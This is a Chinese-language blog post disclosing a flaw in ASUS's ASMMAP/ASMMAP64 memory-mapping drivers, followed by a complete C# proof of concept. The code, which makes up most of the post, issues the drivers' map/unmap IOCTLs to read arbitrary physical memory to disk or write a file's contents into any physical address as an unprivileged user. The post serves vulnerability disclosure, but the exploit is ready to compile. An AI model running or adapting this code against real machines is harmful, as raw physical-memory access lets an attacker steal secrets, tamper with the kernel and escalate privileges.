AD

华硕内存映射驱动导致的物理内容读写POC

0x01概述

       华硕使用的内存映射驱动(ASMMAP/ASMMAP64)存在问题,可以导致对物理内存进行读写。

0x02技术细节

       华硕笔记本上有一个Generic Function Service/应用程序驱动,这个程序有两个驱动ASMMAP.sys ASMMAP64.sys。驱动文件的属性信息描述为:内存映射驱动。
       这两个驱动中,都有一对ioctls函数方法,负责读写控制,分别为0x9C402580 0x9C402584,映射或者反映射的调用进程的地址空间中的任意物理位置,并且具有读写权限。
       该函数似乎参考使用了NT3.1 1993中的样本进行编写的。
       这两个驱动还有其他ioctls函数方法,可以分配或释放给定的物理/虚拟指针指向的RAM。通过使用ioctls缓冲区中的byte/word/dword等内容作为参数,可以发起任意I/O请求。

POC说明

       这个POC可以dump物理内存中的任意一个block到磁盘上,也可以将本地文件内容写入到物理内存的任意一个blcok上。POC是使用C#编写的,便于其他人在其他开发框架中使用ASMMap_MapMem这个类。

问题启示

       微软从2004年开始引入锁定物理内存访问机制,华硕不应该使用1993时期的陈旧代码,从而绕过了限制。并且让未授权的用户可以控制它,应该将其锁定到ring0级别,只有SYSTEM可以控制。
       微软不应该选择还签发asmmap/asmmap64,并且不检查OEM厂商提供的驱动程序。

POC代码

      
// This uses pointers, so compile with /unsafe.
using System;
using System.ComponentModel;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;

public class ASMMap_MapMem : IDisposable {
      
       public const uint IOCTL_MAPMEM = 0x9C402580;
       public const uint IOCTL_UNMAPMEM = 0x9C402584;
      
       [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
       public static extern SafeFileHandle CreateFile(
          string lpFileName,
          [MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
          [MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
          IntPtr lpSecurityAttributes,
          [MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
          [MarshalAs(UnmanagedType.U4)] FileAttributes dwFlagsAndAttributes,
          IntPtr hTemplateFile);
      
       [DllImport("kernel32.dll", SetLastError = true)]
       static extern bool DeviceIoControl(
              SafeFileHandle hDevice,
              uint IoControlCode,
              ref MapMemIoctl InBuffer,
              int nInBufferSize,
              ref MapMemIoctl OutBuffer,
              int nOutBufferSize,
              IntPtr pBytesReturned,
              IntPtr Overlapped
       );
      
       [StructLayout(LayoutKind.Sequential)]
       public unsafe struct MapMemIoctl {
              public ulong PhysicalAddress;
              public byte* VirtualAddress;
              [MarshalAs(UnmanagedType.ByValArray, SizeConst=2)]
              public uint[] Length;
             
              public MapMemIoctl(SafeFileHandle asmmap,ulong PhysicalAddress,uint Length) {
                     this.PhysicalAddress = PhysicalAddress;
                     // Length[0] is used with ASMMAP64, Length[1] by ASMMAP. Set both here, ASMMAP will overwrite Length[0] anyway.
                     this.Length = new uint[2];
                     this.Length[0] = Length;
                     this.Length[1] = Length;
                     this.VirtualAddress = null;
                     // Fire the ioctl
                     Console.WriteLine("[*] Mapping 0x{0}-0x{1} into this process' address space...",PhysicalAddress.ToString("X"),(PhysicalAddress+Length).ToString("X"));
                     if (!DeviceIoControl(asmmap,IOCTL_MAPMEM,ref this,Marshal.SizeOf(typeof(MapMemIoctl)),ref this,Marshal.SizeOf(typeof(MapMemIoctl)),IntPtr.Zero,IntPtr.Zero)) {
                            throw new Win32Exception();
                     }
                     Console.WriteLine("[+] Mapped at 0x{0}",new IntPtr(this.VirtualAddress).ToInt64().ToString("X"));
              }
       }
      
       private MapMemIoctl mm;
       private SafeFileHandle asmmap = null;
       private bool ShouldDisposeOfAsmMap = false;
       private bool HasBeenDisposed = false;
      
       public uint Length {
              get {
                     if (this.HasBeenDisposed) throw new ObjectDisposedException("ASMMap_MapMem");
                     return mm.Length[ ( IntPtr.Size == 4 ? 1 : 0 ) ];
              }
       }
      
       public UnmanagedMemoryStream PhysicalMemoryBlock {
              get {
                     if (this.HasBeenDisposed) throw new ObjectDisposedException("ASMMap_MapMem");
                     unsafe {
                            return new UnmanagedMemoryStream(mm.VirtualAddress,this.Length,this.Length,FileAccess.ReadWrite);
                     }
              }
       }
      
       public ASMMap_MapMem(ulong PhysicalAddress,uint Length) : this(null,PhysicalAddress,Length) {
       }
      
       public ASMMap_MapMem(SafeFileHandle asmmap,ulong PhysicalAddress,uint Length) {
              if (asmmap == null) {
                     asmmap = CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""),FileAccess.ReadWrite,FileShare.None,
                            IntPtr.Zero,FileMode.Create,FileAttributes.Temporary,IntPtr.Zero);
                     this.ShouldDisposeOfAsmMap = true;
              }
              this.asmmap = asmmap;
              this.mm = new MapMemIoctl(asmmap,PhysicalAddress,Length);
       }
      
       public void Dispose() {
              if (this.HasBeenDisposed) return;
              unsafe {
                     Console.WriteLine("[*] Unmapping 0x{0}-0x{1} (0x{2})...",
                            mm.PhysicalAddress.ToString("X"),
                            (mm.PhysicalAddress+Length).ToString("X"),
                            new IntPtr(mm.VirtualAddress).ToInt64().ToString("X")
                     );
              }
              try {
                     if (!DeviceIoControl(asmmap,IOCTL_UNMAPMEM,ref mm,Marshal.SizeOf(typeof(MapMemIoctl)),ref mm,Marshal.SizeOf(typeof(MapMemIoctl)),IntPtr.Zero,IntPtr.Zero)) {
                            throw new Win32Exception();
                     }
                     Console.WriteLine("[+] Unmapped successfully");
              } finally {
                     // dispose of the driver handle if needed
                     if (this.ShouldDisposeOfAsmMap) asmmap.Dispose();
                     this.HasBeenDisposed = true;
              }
       }
      
       ~ASMMap_MapMem() {
              this.Dispose();
       }
}

class asmmap {
       public static bool TryParseDecAndHex(string value,out ulong result) {
              if ((value.Length > 2) && (value.Substring(0,2) == "0x")) return ulong.TryParse(value.Substring(2),NumberStyles.AllowHexSpecifier,CultureInfo.InvariantCulture,out result);
              return ulong.TryParse(value,out result);
       }
      
       public static void Usage() {
              Console.WriteLine("[*] Usage: {0}
",Path.GetFileName(System.Reflection.Assembly.GetEntryAssembly().Location));
              Console.WriteLine("[*] address: starting physical address to read/write, can be decimal or hex, for hex, start with 0x");
              Console.WriteLine("[*] length: size of memory to read, can be decimal or hex, for hex, start with 0x");
              Console.WriteLine("[*] file: file whose contents will be written at
");
       }
      
       public static void Read(ulong PhysicalAddress,ulong Length) {
              uint IterationSize = ( IntPtr.Size == 8 ? (uint)0x10000000 : (uint)0x1000000 );
              using (SafeFileHandle asmmap = ASMMap_MapMem.CreateFile("\\\\.\\ASMMAP" + (IntPtr.Size == 8 ? "64" : ""),FileAccess.ReadWrite,
                            FileShare.None,IntPtr.Zero,FileMode.Create,FileAttributes.Temporary,IntPtr.Zero))
              using (FileStream stream = new FileStream("" + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin",FileMode.Create)) {
                     for (; Length > 0; Length -= IterationSize, PhysicalAddress += IterationSize) {
                            using (ASMMap_MapMem mapper = new ASMMap_MapMem(asmmap,PhysicalAddress,( Length > IterationSize ? IterationSize : (uint)(Length & 0xffffffff) ))) {
                                   Console.WriteLine("[+] Reading block of memory...");
                                   mapper.PhysicalMemoryBlock.CopyTo(stream);
                            }
                            if ( Length <= IterationSize) break;
                     }
              }
              Console.WriteLine("[+] Read successful: "+ (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin");
       }
      
       public static void Write(ulong PhysicalAddress,string Filename) {
              using (FileStream stream = new FileStream(Filename,FileMode.Open))
              using (ASMMap_MapMem mapper = new ASMMap_MapMem(PhysicalAddress,(uint)stream.Length)) {
                     Console.WriteLine("[+] Writing block of memory...");
                     stream.CopyTo(mapper.PhysicalMemoryBlock);
              }
       }
      
       public static void Main(string[] args) {
              Console.WriteLine("[*] ASUS Memory Mapping Driver (ASMMAP/ASMMAP64): Physical Memory Read/Write");
              Console.WriteLine("[*] PoC by slipstream/RoL - https://twitter.com/TheWack0lian - http://rol.im/chat/");
              if (args.Length < 3) {
                     Usage();
                     return;
              }
              ulong PhysicalAddress, Length;
              switch (args[0]) {
                     case "read":
                     case "-read":
                     case "--read":
                            if ((!TryParseDecAndHex(args[1],out PhysicalAddress)) || (!TryParseDecAndHex(args[2],out Length))) {
                                   Usage();
                                   return;
                            }
                            Read(PhysicalAddress,Length);
                            break;
                     case "write":
                     case "-write":
                     case "--write":
                            if (!TryParseDecAndHex(args[1],out PhysicalAddress)) {
                                   Usage();
                                   return;
                            }
                            Write(PhysicalAddress,args[2]);
                            break;
                     default:
                            Usage();
                            break;
              }
       }
}

0x03附录


       来自:http://rol.im/asux/

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce